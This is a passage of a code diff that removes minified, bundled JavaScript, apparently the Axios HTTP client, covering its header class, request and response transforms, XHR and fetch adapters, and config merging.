: null }), this.handlers.length - 1; - } - eject(t2) { - this.handlers[t2] && (this.handlers[t2] = null); - } - clear() { - this.handlers && (this.handlers = []); - } - forEach(t2) { - Ky.forEach(this.handlers, function(e2) { - null !== e2 && t2(e2); - }); - } - }; - Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var sC = { silentJSONParsing: true, forcedJSONParsing: true, clarifyTimeoutError: false }; - Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var aC = "undefined" != typeof URLSearchParams ? URLSearchParams : nC; - Al(), il(); - var cC = "undefined" != typeof FormData ? FormData : null; - Al(), il(); - var hC = { isBrowser: true, classes: { URLSearchParams: aC, FormData: cC, Blob: "undefined" != typeof Blob ? Blob : null }, protocols: ["http", "https", "file", "blob", "url", "data"] }; - var gC = {}; - ((t2, e2) => { - for (var r4 in e2) - Vu(t2, r4, { get: e2[r4], enumerable: true }); - })(gC, { hasBrowserEnv: () => lC, hasStandardBrowserEnv: () => fC, hasStandardBrowserWebWorkerEnv: () => pC, origin: () => dC }), Al(), il(); - var uC; - var lC = "undefined" != typeof window && "undefined" != typeof document; - var fC = (uC = "undefined" != typeof navigator && navigator.product, lC && ["ReactNative", "NativeScript", "NS"].indexOf(uC) < 0); - var pC = "undefined" != typeof WorkerGlobalScope && self instanceof WorkerGlobalScope && "function" == typeof self.importScripts; - var dC = lC && window.location.href || "http://localhost"; - var IC = { ...gC, ...hC }; - Al(), il(); - var yC = function(t2) { - function e2(t3, r4, n2, A2) { - let i2 = t3[A2++]; - if ("__proto__" === i2) - return true; - const o2 = Number.isFinite(+i2), s2 = A2 >= t3.length; - if (i2 = !i2 && Ky.isArray(n2) ? n2.length : i2, s2) - return Ky.hasOwnProp(n2, i2) ? n2[i2] = [n2[i2], r4] : n2[i2] = r4, !o2; - n2[i2] && Ky.isObject(n2[i2]) || (n2[i2] = []); - return e2(t3, r4, n2[i2], A2) && Ky.isArray(n2[i2]) && (n2[i2] = function(t4) { - const e3 = {}, r5 = Object.keys(t4); - let n3; - const A3 = r5.length; - let i3; - for (n3 = 0; n3 < A3; n3++) - i3 = r5[n3], e3[i3] = t4[i3]; - return e3; - }(n2[i2])), !o2; - } - if (Ky.isFormData(t2) && Ky.isFunction(t2.entries)) { - const r4 = {}; - return Ky.forEachEntry(t2, (t3, n2) => { - e2(function(t4) { - return Ky.matchAll(/\w+|\[(\w*)]/g, t4).map((t5) => "[]" === t5[0] ? "" : t5[1] || t5[0]); - }(t3), n2, r4, 0); - }), r4; - } - return null; - }; - var CC = { transitional: sC, adapter: ["xhr", "http", "fetch"], transformRequest: [function(t2, e2) { - const r4 = e2.getContentType() || "", n2 = r4.indexOf("application/json") > -1, A2 = Ky.isObject(t2); - A2 && Ky.isHTMLForm(t2) && (t2 = new FormData(t2)); - if (Ky.isFormData(t2)) - return n2 ? JSON.stringify(yC(t2)) : t2; - if (Ky.isArrayBuffer(t2) || Ky.isBuffer(t2) || Ky.isStream(t2) || Ky.isFile(t2) || Ky.isBlob(t2) || Ky.isReadableStream(t2)) - return t2; - if (Ky.isArrayBufferView(t2)) - return t2.buffer; - if (Ky.isURLSearchParams(t2)) - return e2.setContentType("application/x-www-form-urlencoded;charset=utf-8", false), t2.toString(); - let i2; - if (A2) { - if (r4.indexOf("application/x-www-form-urlencoded") > -1) - return function(t3, e3) { - return $y(t3, new IC.classes.URLSearchParams(), Object.assign({ visitor: function(t4, e4, r5, n3) { - return IC.isNode && Ky.isBuffer(t4) ? (this.append(e4, t4.toString("base64")), false) : n3.defaultVisitor.apply(this, arguments); - } }, e3)); - }(t2, this.formSerializer).toString(); - if ((i2 = Ky.isFileList(t2)) || r4.indexOf("multipart/form-data") > -1) { - const e3 = this.env && this.env.FormData; - return $y(i2 ? { "files[]": t2 } : t2, e3 && new e3(), this.formSerializer); - } - } - return A2 || n2 ? (e2.setContentType("application/json", false), function(t3, e3, r5) { - if (Ky.isString(t3)) - try { - return (e3 || JSON.parse)(t3), Ky.trim(t3); - } catch (t4) { - if ("SyntaxError" !== t4.name) - throw t4; - } - return (r5 || JSON.stringify)(t3); - }(t2)) : t2; - }], transformResponse: [function(t2) { - const e2 = this.transitional || CC.transitional, r4 = e2 && e2.forcedJSONParsing, n2 = "json" === this.responseType; - if (Ky.isResponse(t2) || Ky.isReadableStream(t2)) - return t2; - if (t2 && Ky.isString(t2) && (r4 && !this.responseType || n2)) { - const r5 = !(e2 && e2.silentJSONParsing) && n2; - try { - return JSON.parse(t2); - } catch (t3) { - if (r5) { - if ("SyntaxError" === t3.name) - throw qy.from(t3, qy.ERR_BAD_RESPONSE, this, null, this.response); - throw t3; - } - } - } - return t2; - }], timeout: 0, xsrfCookieName: "XSRF-TOKEN", xsrfHeaderName: "X-XSRF-TOKEN", maxContentLength: -1, maxBodyLength: -1, env: { FormData: IC.classes.FormData, Blob: IC.classes.Blob }, validateStatus: function(t2) { - return t2 >= 200 && t2 < 300; - }, headers: { common: { Accept: "application/json, text/plain, */*", "Content-Type": void 0 } } }; - Ky.forEach(["delete", "get", "head", "post", "put", "patch"], (t2) => { - CC.headers[t2] = {}; - }); - var mC = CC; - Al(), il(), Al(), il(); - var BC = Ky.toObjectSet(["age", "authorization", "content-length", "content-type", "etag", "expires", "from", "host", "if-modified-since", "if-unmodified-since", "last-modified", "location", "max-forwards", "proxy-authorization", "referer", "retry-after", "user-agent"]); - var EC3 = Symbol("internals"); - function wC(t2) { - return t2 && String(t2).trim().toLowerCase(); - } - function vC(t2) { - return false === t2 || null == t2 ? t2 : Ky.isArray(t2) ? t2.map(vC) : String(t2); - } - function _C(t2, e2, r4, n2, A2) { - return Ky.isFunction(n2) ? n2.call(this, e2, r4) : (A2 && (e2 = r4), Ky.isString(e2) ? Ky.isString(n2) ? -1 !== e2.indexOf(n2) : Ky.isRegExp(n2) ? n2.test(e2) : void 0 : void 0); - } - var QC = class { - constructor(t2) { - t2 && this.set(t2); - } - set(t2, e2, r4) { - const n2 = this; - function A2(t3, e3, r5) { - const A3 = wC(e3); - if (!A3) - throw new Error("header name must be a non-empty string"); - const i3 = Ky.findKey(n2, A3); - (!i3 || void 0 === n2[i3] || true === r5 || void 0 === r5 && false !== n2[i3]) && (n2[i3 || e3] = vC(t3)); - } - const i2 = (t3, e3) => Ky.forEach(t3, (t4, r5) => A2(t4, r5, e3)); - if (Ky.isPlainObject(t2) || t2 instanceof this.constructor) - i2(t2, e2); - else if (Ky.isString(t2) && (t2 = t2.trim()) && !/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(t2.trim())) - i2(((t3) => { - const e3 = {}; - let r5, n3, A3; - return t3 && t3.split("\n").forEach(function(t4) { - A3 = t4.indexOf(":"), r5 = t4.substring(0, A3).trim().toLowerCase(), n3 = t4.substring(A3 + 1).trim(), !r5 || e3[r5] && BC[r5] || ("set-cookie" === r5 ? e3[r5] ? e3[r5].push(n3) : e3[r5] = [n3] : e3[r5] = e3[r5] ? e3[r5] + ", " + n3 : n3); - }), e3; - })(t2), e2); - else if (Ky.isHeaders(t2)) - for (const [e3, n3] of t2.entries()) - A2(n3, e3, r4); - else - null != t2 && A2(e2, t2, r4); - return this; - } - get(t2, e2) { - if (t2 = wC(t2)) { - const r4 = Ky.findKey(this, t2); - if (r4) { - const t3 = this[r4]; - if (!e2) - return t3; - if (true === e2) - return function(t4) { - const e3 = /* @__PURE__ */ Object.create(null), r5 = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; - let n2; - for (; n2 = r5.exec(t4); ) - e3[n2[1]] = n2[2]; - return e3; - }(t3); - if (Ky.isFunction(e2)) - return e2.call(this, t3, r4); - if (Ky.isRegExp(e2)) - return e2.exec(t3); - throw new TypeError("parser must be boolean|regexp|function"); - } - } - } - has(t2, e2) { - if (t2 = wC(t2)) { - const r4 = Ky.findKey(this, t2); - return !(!r4 || void 0 === this[r4] || e2 && !_C(0, this[r4], r4, e2)); - } - return false; - } - delete(t2, e2) { - const r4 = this; - let n2 = false; - function A2(t3) { - if (t3 = wC(t3)) { - const A3 = Ky.findKey(r4, t3); - !A3 || e2 && !_C(0, r4[A3], A3, e2) || (delete r4[A3], n2 = true); - } - } - return Ky.isArray(t2) ? t2.forEach(A2) : A2(t2), n2; - } - clear(t2) { - const e2 = Object.keys(this); - let r4 = e2.length, n2 = false; - for (; r4--; ) { - const A2 = e2[r4]; - t2 && !_C(0, this[A2], A2, t2, true) || (delete this[A2], n2 = true); - } - return n2; - } - normalize(t2) { - const e2 = this, r4 = {}; - return Ky.forEach(this, (n2, A2) => { - const i2 = Ky.findKey(r4, A2); - if (i2) - return e2[i2] = vC(n2), void delete e2[A2]; - const o2 = t2 ? function(t3) { - return t3.trim().toLowerCase().replace(/([a-z\d])(\w*)/g, (t4, e3, r5) => e3.toUpperCase() + r5); - }(A2) : String(A2).trim(); - o2 !== A2 && delete e2[A2], e2[o2] = vC(n2), r4[o2] = true; - }), this; - } - concat(...t2) { - return this.constructor.concat(this, ...t2); - } - toJSON(t2) { - const e2 = /* @__PURE__ */ Object.create(null); - return Ky.forEach(this, (r4, n2) => { - null != r4 && false !== r4 && (e2[n2] = t2 && Ky.isArray(r4) ? r4.join(", ") : r4); - }), e2; - } - [Symbol.iterator]() { - return Object.entries(this.toJSON())[Symbol.iterator](); - } - toString() { - return Object.entries(this.toJSON()).map(([t2, e2]) => t2 + ": " + e2).join("\n"); - } - get [Symbol.toStringTag]() { - return "AxiosHeaders"; - } - static from(t2) { - return t2 instanceof this ? t2 : new this(t2); - } - static concat(t2, ...e2) { - const r4 = new this(t2); - return e2.forEach((t3) => r4.set(t3)), r4; - } - static accessor(t2) { - const e2 = (this[EC3] = this[EC3] = { accessors: {} }).accessors, r4 = this.prototype; - function n2(t3) { - const n3 = wC(t3); - e2[n3] || (!function(t4, e3) { - const r5 = Ky.toCamelCase(" " + e3); - ["get", "set", "has"].forEach((n4) => { - Object.defineProperty(t4, n4 + r5, { value: function(t5, r6, A2) { - return this[n4].call(this, e3, t5, r6, A2); - }, configurable: true }); - }); - }(r4, t3), e2[n3] = true); - } - return Ky.isArray(t2) ? t2.forEach(n2) : n2(t2), this; - } - }; - QC.accessor(["Content-Type", "Content-Length", "Accept", "Accept-Encoding", "User-Agent", "Authorization"]), Ky.reduceDescriptors(QC.prototype, ({ value: t2 }, e2) => { - let r4 = e2[0].toUpperCase() + e2.slice(1); - return { get: () => t2, set(t3) { - this[r4] = t3; - } }; - }), Ky.freezeMethods(QC); - var bC = QC; - function kC(t2, e2) { - const r4 = this || mC, n2 = e2 || r4, A2 = bC.from(n2.headers); - let i2 = n2.data; - return Ky.forEach(t2, function(t3) { - i2 = t3.call(r4, i2, A2.normalize(), e2 ? e2.status : void 0); - }), A2.normalize(), i2; - } - function DC(t2) { - return !(!t2 || !t2.__CANCEL__); - } - function SC(t2, e2, r4) { - qy.call(this, null == t2 ? "canceled" : t2, qy.ERR_CANCELED, e2, r4), this.name = "CanceledError"; - } - Al(), il(), Al(), il(), Ky.inherits(SC, qy, { __CANCEL__: true }); - var NC = SC; - function MC(t2, e2, r4) { - const n2 = r4.config.validateStatus; - r4.status && n2 && !n2(r4.status) ? e2(new qy("Request failed with status code " + r4.status, [qy.ERR_BAD_REQUEST, qy.ERR_BAD_RESPONSE][Math.floor(r4.status / 100) - 4], r4.config, r4.request, r4)) : t2(r4); - } - Al(), il(), Al(), il(), Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var xC = function(t2, e2) { - t2 = t2 || 10; - const r4 = new Array(t2), n2 = new Array(t2); - let A2, i2 = 0, o2 = 0; - return e2 = void 0 !== e2 ? e2 : 1e3, function(s2) { - const a2 = Date.now(), c2 = n2[o2]; - A2 || (A2 = a2), r4[i2] = s2, n2[i2] = a2; - let h2 = o2, g2 = 0; - for (; h2 !== i2; ) - g2 += r4[h2++], h2 %= t2; - if (i2 = (i2 + 1) % t2, i2 === o2 && (o2 = (o2 + 1) % t2), a2 - A2 < e2) - return; - const u2 = c2 && a2 - c2; - return u2 ? Math.round(1e3 * g2 / u2) : void 0; - }; - }; - Al(), il(); - var FC = function(t2, e2) { - let r4 = 0; - const n2 = 1e3 / e2; - let A2 = null; - return function() { - const e3 = true === this, i2 = Date.now(); - if (e3 || i2 - r4 > n2) - return A2 && (clearTimeout(A2), A2 = null), r4 = i2, t2.apply(null, arguments); - A2 || (A2 = setTimeout(() => (A2 = null, r4 = Date.now(), t2.apply(null, arguments)), n2 - (i2 - r4))); - }; - }; - var PC = (t2, e2, r4 = 3) => { - let n2 = 0; - const A2 = xC(50, 250); - return FC((r5) => { - const i2 = r5.loaded, o2 = r5.lengthComputable ? r5.total : void 0, s2 = i2 - n2, a2 = A2(s2); - n2 = i2; - const c2 = { loaded: i2, total: o2, progress: o2 ? i2 / o2 : void 0, bytes: s2, rate: a2 || void 0, estimated: a2 && o2 && i2 <= o2 ? (o2 - i2) / a2 : void 0, event: r5, lengthComputable: null != o2 }; - c2[e2 ? "download" : "upload"] = true, t2(c2); - }, r4); - }; - Al(), il(), Al(), il(); - var TC = IC.hasStandardBrowserEnv ? function() { - const t2 = /(msie|trident)/i.test(navigator.userAgent), e2 = document.createElement("a"); - let r4; - function n2(r5) { - let n3 = r5; - return t2 && (e2.setAttribute("href", n3), n3 = e2.href), e2.setAttribute("href", n3), { href: e2.href, protocol: e2.protocol ? e2.protocol.replace(/:$/, "") : "", host: e2.host, search: e2.search ? e2.search.replace(/^\?/, "") : "", hash: e2.hash ? e2.hash.replace(/^#/, "") : "", hostname: e2.hostname, port: e2.port, pathname: "/" === e2.pathname.charAt(0) ? e2.pathname : "/" + e2.pathname }; - } - return r4 = n2(window.location.href), function(t3) { - const e3 = Ky.isString(t3) ? n2(t3) : t3; - return e3.protocol === r4.protocol && e3.host === r4.host; - }; - }() : /* @__PURE__ */ function() { - return function() { - return true; - }; - }(); - Al(), il(); - var RC = IC.hasStandardBrowserEnv ? { write(t2, e2, r4, n2, A2, i2) { - const o2 = [t2 + "=" + encodeURIComponent(e2)]; - Ky.isNumber(r4) && o2.push("expires=" + new Date(r4).toGMTString()), Ky.isString(n2) && o2.push("path=" + n2), Ky.isString(A2) && o2.push("domain=" + A2), true === i2 && o2.push("secure"), document.cookie = o2.join("; "); - }, read(t2) { - const e2 = document.cookie.match(new RegExp("(^|;\\s*)(" + t2 + ")=([^;]*)")); - return e2 ? decodeURIComponent(e2[3]) : null; - }, remove(t2) { - this.write(t2, "", Date.now() - 864e5); - } } : { write() { - }, read: () => null, remove() { - } }; - function UC(t2, e2) { - return t2 && !/^([a-z][a-z\d+\-.]*:)?\/\//i.test(e2) ? function(t3, e3) { - return e3 ? t3.replace(/\/?\/$/, "") + "/" + e3.replace(/^\/+/, "") : t3; - }(t2, e2) : e2; - } - Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var GC = (t2) => t2 instanceof bC ? { ...t2 } : t2; - function HC(t2, e2) { - e2 = e2 || {}; - const r4 = {}; - function n2(t3, e3, r5) { - return Ky.isPlainObject(t3) && Ky.isPlainObject(e3) ? Ky.merge.call({ caseless: r5 }, t3, e3) : Ky.isPlainObject(e3) ? Ky.merge({}, e3) : Ky.isArray(e3) ? e3.slice() : e3; - } - function A2(t3, e3, r5) { - return Ky.isUndefined(e3) ? Ky.isUndefined(t3) ? void 0 : n2(void 0, t3, r5) : n2(t3, e3, r5); - } - function i2(t3, e3) { - if (!Ky.isUndefined(e3)) - return n2(void 0, e3); - } - function o2(t3, e3) { - return Ky.isUndefined(e3) ? Ky.isUndefined(t3) ? void 0 : n2(void 0, t3) : n2(void 0, e3); - } - function s2(r5, A3, i3) { - return i3 in e2 ? n2(r5, A3) : i3 in t2 ? n2(void 0, r5) : void 0; - } - const a2 = { url: i2, method: i2, data: i2, baseURL: o2, transformRequest: o2, transformResponse: o2, paramsSerializer: o2, timeout: o2, timeoutMessage: o2, withCredentials: o2, withXSRFToken: o2, adapter: o2, responseType: o2, xsrfCookieName: o2, xsrfHeaderName: o2, onUploadProgress: o2, onDownloadProgress: o2, decompress: o2, maxContentLength: o2, maxBodyLength: o2, beforeRedirect: o2, transport: o2, httpAgent: o2, httpsAgent: o2, cancelToken: o2, socketPath: o2, responseEncoding: o2, validateStatus: s2, headers: (t3, e3) => A2(GC(t3), GC(e3), true) }; - return Ky.forEach(Object.keys(Object.assign({}, t2, e2)), function(n3) { - const i3 = a2[n3] || A2, o3 = i3(t2[n3], e2[n3], n3); - Ky.isUndefined(o3) && i3 !== s2 || (r4[n3] = o3); - }), r4; - } - var LC = (t2) => { - const e2 = HC({}, t2); - let r4, { data: n2, withXSRFToken: A2, xsrfHeaderName: i2, xsrfCookieName: o2, headers: s2, auth: a2 } = e2; - if (e2.headers = s2 = bC.from(s2), e2.url = iC(UC(e2.baseURL, e2.url), t2.params, t2.paramsSerializer), a2 && s2.set("Authorization", "Basic " + btoa((a2.username || "") + ":" + (a2.password ? unescape(encodeURIComponent(a2.password)) : ""))), Ky.isFormData(n2)) { - if (IC.hasStandardBrowserEnv || IC.hasStandardBrowserWebWorkerEnv) - s2.setContentType(void 0); - else if (false !== (r4 = s2.getContentType())) { - const [t3, ...e3] = r4 ? r4.split(";").map((t4) => t4.trim()).filter(Boolean) : []; - s2.setContentType([t3 || "multipart/form-data", ...e3].join("; ")); - } - } - if (IC.hasStandardBrowserEnv && (A2 && Ky.isFunction(A2) && (A2 = A2(e2)), A2 || false !== A2 && TC(e2.url))) { - const t3 = i2 && o2 && RC.read(o2); - t3 && s2.set(i2, t3); - } - return e2; - }; - var OC = "undefined" != typeof XMLHttpRequest && function(t2) { - return new Promise(function(e2, r4) { - const n2 = LC(t2); - let A2 = n2.data; - const i2 = bC.from(n2.headers).normalize(); - let o2, { responseType: s2 } = n2; - function a2() { - n2.cancelToken && n2.cancelToken.unsubscribe(o2), n2.signal && n2.signal.removeEventListener("abort", o2); - } - let c2 = new XMLHttpRequest(); - function h2() { - if (!c2) - return; - const n3 = bC.from("getAllResponseHeaders" in c2 && c2.getAllResponseHeaders()); - MC(function(t3) { - e2(t3), a2(); - }, function(t3) { - r4(t3), a2(); - }, { data: s2 && "text" !== s2 && "json" !== s2 ? c2.response : c2.responseText, status: c2.status, statusText: c2.statusText, headers: n3, config: t2, request: c2 }), c2 = null; - } - c2.open(n2.method.toUpperCase(), n2.url, true), c2.timeout = n2.timeout, "onloadend" in c2 ? c2.onloadend = h2 : c2.onreadystatechange = function() { - c2 && 4 === c2.readyState && (0 !== c2.status || c2.responseURL && 0 === c2.responseURL.indexOf("file:")) && setTimeout(h2); - }, c2.onabort = function() { - c2 && (r4(new qy("Request aborted", qy.ECONNABORTED, n2, c2)), c2 = null); - }, c2.onerror = function() { - r4(new qy("Network Error", qy.ERR_NETWORK, n2, c2)), c2 = null; - }, c2.ontimeout = function() { - let t3 = n2.timeout ? "timeout of " + n2.timeout + "ms exceeded" : "timeout exceeded"; - const e3 = n2.transitional || sC; - n2.timeoutErrorMessage && (t3 = n2.timeoutErrorMessage), r4(new qy(t3, e3.clarifyTimeoutError ? qy.ETIMEDOUT : qy.ECONNABORTED, n2, c2)), c2 = null; - }, void 0 === A2 && i2.setContentType(null), "setRequestHeader" in c2 && Ky.forEach(i2.toJSON(), function(t3, e3) { - c2.setRequestHeader(e3, t3); - }), Ky.isUndefined(n2.withCredentials) || (c2.withCredentials = !!n2.withCredentials), s2 && "json" !== s2 && (c2.responseType = n2.responseType), "function" == typeof n2.onDownloadProgress && c2.addEventListener("progress", PC(n2.onDownloadProgress, true)), "function" == typeof n2.onUploadProgress && c2.upload && c2.upload.addEventListener("progress", PC(n2.onUploadProgress)), (n2.cancelToken || n2.signal) && (o2 = (e3) => { - c2 && (r4(!e3 || e3.type ? new NC(null, t2, c2) : e3), c2.abort(), c2 = null); - }, n2.cancelToken && n2.cancelToken.subscribe(o2), n2.signal && (n2.signal.aborted ? o2() : n2.signal.addEventListener("abort", o2))); - const g2 = function(t3) { - const e3 = /^([-+\w]{1,25})(:?\/\/|:)/.exec(t3); - return e3 && e3[1] || ""; - }(n2.url); - g2 && -1 === IC.protocols.indexOf(g2) ? r4(new qy("Unsupported protocol " + g2 + ":", qy.ERR_BAD_REQUEST, t2)) : c2.send(A2 || null); - }); - }; - Al(), il(), Al(), il(); - var YC = (t2, e2) => { - let r4, n2 = new AbortController(); - const A2 = function(t3) { - if (!r4) { - r4 = true, o2(); - const e3 = t3 instanceof Error ? t3 : this.reason; - n2.abort(e3 instanceof qy ? e3 : new NC(e3 instanceof Error ? e3.message : e3)); - } - }; - let i2 = e2 && setTimeout(() => { - A2(new qy(`timeout ${e2} of ms exceeded`, qy.ETIMEDOUT)); - }, e2); - const o2 = () => { - t2 && (i2 && clearTimeout(i2), i2 = null, t2.forEach((t3) => { - t3 && (t3.removeEventListener ? t3.removeEventListener("abort", A2) : t3.unsubscribe(A2)); - }), t2 = null); - }; - t2.forEach((t3) => t3 && t3.addEventListener && t3.addEventListener("abort", A2)); - const { signal: s2 } = n2; - return s2.unsubscribe = o2, [s2, () => { - i2 && clearTimeout(i2), i2 = null; - }]; - }; - Al(), il(); - var KC; - var JC = function* (t2, e2) { - let r4 = t2.byteLength; - if (!e2 || r4 < e2) - return void (yield t2); - let n2, A2 = 0; - for (; A2 < r4; ) - n2 = A2 + e2, yield t2.slice(A2, n2), A2 = n2; - }; - var jC = (t2, e2, r4, n2, A2) => { - const i2 = async function* (t3, e3, r5) { - for await (const n3 of t3) - yield* JC(ArrayBuffer.isView(n3) ? n3 : await r5(String(n3)), e3); - }(t2, e2, A2); - let o2 = 0; - return new ReadableStream({ type: "bytes", async pull(t3) { - const { done: e3, value: A3 } = await i2.next(); - if (e3) - return t3.close(), void n2(); - let s2 = A3.byteLength; - r4 && r4(o2 += s2), t3.enqueue(new Uint8Array(A3)); - }, cancel: (t3) => (n2(t3), i2.return()) }, { highWaterMark: 2 }); - }; - var zC = (t2, e2) => { - const r4 = null != t2; - return (n2) => setTimeout(() => e2({ lengthComputable: r4, total: t2, loaded: n2 })); - }; - var qC = "undefined" != typeof fetch; - var XC = qC && "undefined" != typeof ReadableStream; - var VC = qC && ("undefined" != typeof TextEncoder ? /* @__PURE__ */ ((t2) => (e2) => t2.encode(e2))(new TextEncoder()) : async (t2) => new Uint8Array(await new Response(t2).arrayBuffer())); - var WC = XC && (() => { - let t2 = false; - const e2 = new Request(IC.origin, { body: new ReadableStream(), method: "POST", get duplex() { - return t2 = true, "half"; - } }).headers.has("Content-Type"); - return t2 && !e2; - })(); - var ZC = XC && !!(() => { - try { - return Ky.isReadableStream(new Response("").body); - } catch (t2) { - } - })(); - var $C = { stream: ZC && ((t2) => t2.body) }; - qC && (KC = new Response(), ["text", "arrayBuffer", "blob", "formData", "stream"].forEach((t2) => { - !$C[t2] && ($C[t2] = Ky.isFunction(KC[t2]) ? (e2) => e2[t2]() : (e2, r4) => { - throw new qy(`Response type '${t2}' is not supported`, qy.ERR_NOT_SUPPORT, r4); - }); - })); - var tm = async (t2, e2) => { - const r4 = Ky.toFiniteNumber(t2.getContentLength()); - return null == r4 ? (async (t3) => null == t3 ? 0 : Ky.isBlob(t3) ? t3.size : Ky.isSpecCompliantForm(t3) ? (await new Request(t3).arrayBuffer()).byteLength : Ky.isArrayBufferView(t3) ? t3.byteLength : (Ky.isURLSearchParams(t3) && (t3 += ""), Ky.isString(t3) ? (await VC(t3)).byteLength : void 0))(e2) : r4; - }; - var em = { http: null, xhr: OC, fetch: qC && (async (t2) => { - let { url: e2, method: r4, data: n2, signal: A2, cancelToken: i2, timeout: o2, onDownloadProgress: s2, onUploadProgress: a2, responseType: c2, headers: h2, withCredentials: g2 = "same-origin", fetchOptions: u2 } = LC(t2); - c2 = c2 ? (c2 + "").toLowerCase() : "text"; - let l2, f2, [p2, d2] = A2 || i2 || o2 ? YC([A2, i2], o2) : []; - const I2 = () => { - !l2 && setTimeout(() => { - p2 && p2.unsubscribe(); - }), l2 = true; - }; - let y2; - try { - if (a2 && WC && "get" !== r4 && "head" !== r4 && 0 !== (y2 = await tm(h2, n2))) { - let t3, r5 = new Request(e2, { method: "POST", body: n2, duplex: "half" }); - Ky.isFormData(n2) && (t3 = r5.headers.get("content-type")) && h2.setContentType(t3), r5.body && (n2 = jC(r5.body, 65536, zC(y2, PC(a2)), null, VC)); - } - Ky.isString(g2) || (g2 = g2 ? "cors" : "omit"), f2 = new Request(e2, { ...u2, signal: p2, method: r4.toUpperCase(), headers: h2.normalize().toJSON(), body: n2, duplex: "half", withCredentials: g2 }); - let A3 = await fetch(f2); - const i3 = ZC && ("stream" === c2 || "response" === c2); - if (ZC && (s2 || i3)) { - const t3 = {}; - ["status", "statusText", "headers"].forEach((e4) => { - t3[e4] = A3[e4]; - }); - const e3 = Ky.toFiniteNumber(A3.headers.get("content-length")); - A3 = new Response(jC(A3.body, 65536, s2 && zC(e3, PC(s2, true)), i3 && I2, VC), t3); - } - c2 = c2 || "text"; - let o3 = await $C[Ky.findKey($C, c2) || "text"](A3, t2); - return !i3 && I2(), d2 && d2(), await new Promise((e3, r5) => { - MC(e3, r5, { data: o3, headers: bC.from(A3.headers), status: A3.status, statusText: A3.statusText, config: t2, request: f2 }); - }); - } catch (e3) { - if (I2(), e3 && "TypeError" === e3.name && /fetch/i.test(e3.message)) - throw Object.assign(new qy("Network Error", qy.ERR_NETWORK, t2, f2), { cause: e3.cause || e3 }); - throw qy.from(e3, e3 && e3.code, t2, f2); - } - }) }; - Ky.forEach(em, (t2, e2) => { - if (t2) { - try { - Object.defineProperty(t2, "name", { value: e2 }); - } catch (t3) { - } - Object.defineProperty(t2, "adapterName", { value: e2 }); - } - }); - var rm = (t2) => `- ${t2}`; - var nm = (t2) => Ky.isFunction(t2) || null === t2 || false === t2; - var Am = (t2) => { - t2 = Ky.isArray(t2) ? t2 : [t2]; - const { length: e2 } = t2; - let r4, n2; - const A2 = {}; - for (let i2 = 0; i2 < e2; i2++) { - let e3; - if (r4 = t2[i2], n2 = r4, !nm(r4) && (n2 = em[(e3 = String(r4)).toLowerCase()], void 0 === n2)) - throw new qy(`Unknown adapter '${e3}'`); - if (n2) - break; - A2[e3 || "#" + i2] = n2; - } - if (!n2) { - const t3 = Object.entries(A2).map(([t4, e3]) => `adapter ${t4} ` + (false === e3 ? "is not supported by the environment" : "is not available in the build")); - let r5 = e2 ? t3.length > 1 ? "since :\n" + t3.map(rm).join("\n") : " " + rm(t3[0]) : "as no adapter specified"; - throw new qy("There is no suitable adapter to dispatch the request " + r5, "ERR_NOT_SUPPORT"); - } - return n2; - }; - function im(t2) { - if (t2.cancelToken && t2.cancelToken.throwIfRequested(), t2.signal && t2.signal.aborted) - throw new NC(null, t2); - } - function om(t2) { - im(t2), t2.headers = bC.from(t2.headers), t2.data = kC.call(t2, t2.transformRequest), -1 !== ["post", "put", "patch"].indexOf(t2.method) && t2.headers.setContentType("application/x-www-form-urlencoded", false); - return Am(t2.adapter || mC.adapter)(t2).then(function(e2) { - return im(t2), e2.data = kC.call(t2, t2.transformResponse, e2), e2.headers = bC.from(e2.headers), e2; - }, function(e2) { - return DC(e2) || (im(t2), e2 && e2.response && (e2.response.data = kC.call(t2, t2.transformResponse, e2.response), e2.response.headers = bC.from(e2.response.headers))), Promise.reject(e2); - }); - } - Al(), il(), Al(), il(); - var sm = "1.7.1"; - var am = {}; - ["object", "boolean", "number", "function", "string", "symbol"].forEach((t2, e2) => { - am[t2] = function(r4) { - return typeof r4 === t2 || "a" + (e2 < 1 ? "n " : " ") + t2; - }; - }); - var cm = {}; - am.transitional = function(t2, e2, r4) { - function n2(t3, e3) { - return "[Axios v1.7.1] Transitional option '" + t3 + "'" + e3 + (r4 ? ". " + r4 : ""); - } - return (r5, A2, i2) => { - if (false === t2) - throw new qy(n2(A2, " has been removed" + (e2 ? " in " + e2 : "")), qy.ERR_DEPRECATED); - return e2 && !cm[A2] && (cm[A2] = true, console.warn(n2(A2, " has been deprecated since v" + e2 + " and will be removed in the near future"))), !t2 || t2(r5, A2, i2); - }; - }; - var hm = { assertOptions: function(t2, e2, r4) { - if ("object" != typeof t2) - throw new qy("options must be an object", qy.ERR_BAD_OPTION_VALUE); - const n2 = Object.keys(t2); - let A2 = n2.length; - for (; A2-- > 0; ) { - const i2 = n2[A2], o2 = e2[i2]; - if (o2) { - const e3 = t2[i2], r5 = void 0 === e3 || o2(e3, i2, t2); - if (true !== r5) - throw new qy("option " + i2 + " must be " + r5, qy.ERR_BAD_OPTION_VALUE); - } else if (true !== r4) - throw new qy("Unknown option " + i2, qy.ERR_BAD_OPTION); - } - }, validators: am }; - var gm = hm.validators; - var um = class { - constructor(t2) { - this.defaults = t2, this.interceptors = { request: new oC(), response: new oC() }; - } - async request(t2, e2) { - try { - return await this._request(t2, e2); - } catch (t3) { - if (t3 instanceof Error) { - let e3; - Error.captureStackTrace ? Error.captureStackTrace(e3 = {}) : e3 = new Error(); - const r4 = e3.stack ? e3.stack.replace(/^.+\n/, "") : ""; - try { - t3.stack ? r4 && !String(t3.stack).endsWith(r4.replace(/^.+\n.+\n/, "")) && (t3.stack += "\n" + r4) : t3.stack = r4; - } catch (t4) { - } - } - throw t3; - } - } - _request(t2, e2) { - "string" == typeof t2 ? (e2 = e2 || {}).url = t2 : e2 = t2 || {}, e2 = HC(this.defaults, e2); - const { transitional: r4, paramsSerializer: n2, headers: A2 } = e2; - void 0 !== r4 && hm.assertOptions(r4, { silentJSONParsing: gm.transitional(gm.boolean), forcedJSONParsing: gm.transitional(gm.boolean), clarifyTimeoutError: gm.transitional(gm.boolean) }, false), null != n2 && (Ky.isFunction(n2) ? e2.paramsSerializer = { serialize: n2 } : hm.assertOptions(n2, { encode: gm.function, serialize: gm.function }, true)), e2.method = 